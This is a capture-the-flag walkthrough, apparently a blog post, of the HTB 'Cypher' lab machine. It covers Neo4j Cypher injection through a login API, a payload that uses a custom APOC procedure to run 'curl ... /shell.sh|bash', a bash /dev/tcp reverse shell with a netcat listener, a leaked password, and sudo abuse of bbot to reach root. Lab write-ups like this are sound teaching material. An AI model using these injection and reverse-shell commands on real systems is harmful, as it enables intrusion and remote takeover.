Post

HTB Cypher Writeup (Walkthrough)

HTB Cypher Writeup (Walkthrough)

Overview

This write-up documents the penetration testing process for the Cypher machine, focusing on Neo4j Cypher injection and privilege escalation through custom APOC extensions.


Reconnaissance

Host Enumeration

1
2
3
┌──(kali㉿kali)-[~]
└─$ sudo nano /etc/hosts
10.10.11.57 cypher.htb

Port Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop/cypher]
└─$ nmap -sC -sV -oA cypher 10.10.11.57

# Nmap 7.95 scan initiated Wed Apr 30 10:16:45 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oA cypher 10.10.11.57
Nmap scan report for cypher.htb (10.10.11.57)
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: GRAPH ASM
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 30 10:16:58 2025 -- 1 IP address (1 host up) scanned in 12.82 seconds

Key Findings:

  • Open ports: 22 (SSH), 80 (HTTP)
  • Web server: nginx 1.24.0 (Ubuntu)
  • Potential attack surface: Web application

Web Enumeration

Login Page Analysis

Discovered at http://cypher.htb/login with API endpoint /api/auth:

<form action="/api/auth" method="POST">
  <!-- Login form elements -->
</form>

<script>
// TODO: don't store user accounts in neo4j
function doLogin(e) {
  // AJAX call to /api/auth
}
</script>

Directory Brute-forcing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/Desktop/cypher]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://cypher.htb/          
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cypher.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 4562]
/about                (Status: 200) [Size: 4986]
/login                (Status: 200) [Size: 3671]
/demo                 (Status: 307) [Size: 0] [--> /login]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]

Critical Findings:

  • /testing directory containing custom-apoc-extension-1.0-SNAPSHOT.jar
  • API endpoint /api/docs

Vulnerability Analysis

Cypher Injection Attempt

Initial test payload:

1
2
3
curl -X POST http://cypher.htb/api/auth \
  -H "Content-Type: application/json" \
  -d '{"username": "admin'\'' OR 1=1--", "password": "anything"}'

Error Analysis:

1
2
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} 
"MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'admin' OR 1=1--' return h.value as hash"

Key Insights:

  • Backend uses Neo4j graph database
  • User input directly interpolated into Cypher query
  • Classic SQLi techniques need adaptation for Cypher syntax

Exploitation Strategy

Payload Development Process

1- Syntax Correction:

  • Cypher uses // for comments instead of –
  • Proper string termination with ‘ 2- Union-Based Injection:
1
2
3
4
{
  "username": "admin' return h.value as a UNION CALL custom.getUrlStatusCode(...)",
  "password": "password"
}

3- APOC Extension Exploitation:

  • Discovered custom-apoc-extension in /testing
  • Contains dangerous custom.getUrlStatusCode procedure

Final Payload

1
2
3
4
{
  "username": "admin' return h.value as a UNION CALL custom.getUrlStatusCode(\"cypher.com; curl 10.10.16.42:2244/shell.sh|bash;#\") YIELD statusCode AS a RETURN a;//",
  "password": "password123"
}

Payload Breakdown:

  • admin’ - Breaks out of string literal
  • UNION - Combines legitimate and malicious queries
  • CALL custom.getUrlStatusCode() - Executes custom APOC procedure
  • ;// - Comments out remaining query

Reverse Shell Setup

Attacker infrastructure:

1
2
3
4
5
6
7
8
# Payload creation
echo "/bin/bash -i >& /dev/tcp/10.10.16.42/2244 0>&1" > shell.sh

# HTTP server
python3 -m http.server 80

# Netcat listener
nc -lnvp 2244

Successful Exploitation

1
2
neo4j@cypher:/$ id
uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)

Privilege Escalation

Credential Discovery

1
2
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
password: cU4btyib.20xtCMCXkBmerhK

Sudo Privilege Abuse

1
2
3
4
5
6
graphasm@cypher:~$ sudo -l
User graphasm may run the following commands:
    (ALL) NOPASSWD: /usr/local/bin/bbot

# Root flag extraction
sudo /usr/local/bin/bbot -t /root/root.txt

BBOT Output:

1
[DNS_NAME_UNRESOLVED] f336c75422350710a61200e0ed40c6cd

Key Takeaways

1- Cypher Injection:

  • Requires understanding of Neo4j syntax differences
  • Union-based attacks need column count matching
  • Custom APOC procedures expand attack surface

2- Privilege Escalation:

  • Always check sudo permissions
  • Look for custom binaries with unusual capabilities
  • Leverage tool functionalities in unintended ways

3- Defensive Measures:

  • Parameterized queries for database operations
  • Regular security audits of custom extensions
  • Principle of least privilege for service accounts

Done!


Hi there 👋 Support me!

Life is an echo—what you send out comes back.

Donate

This post is licensed under CC BY 4.0 by the author.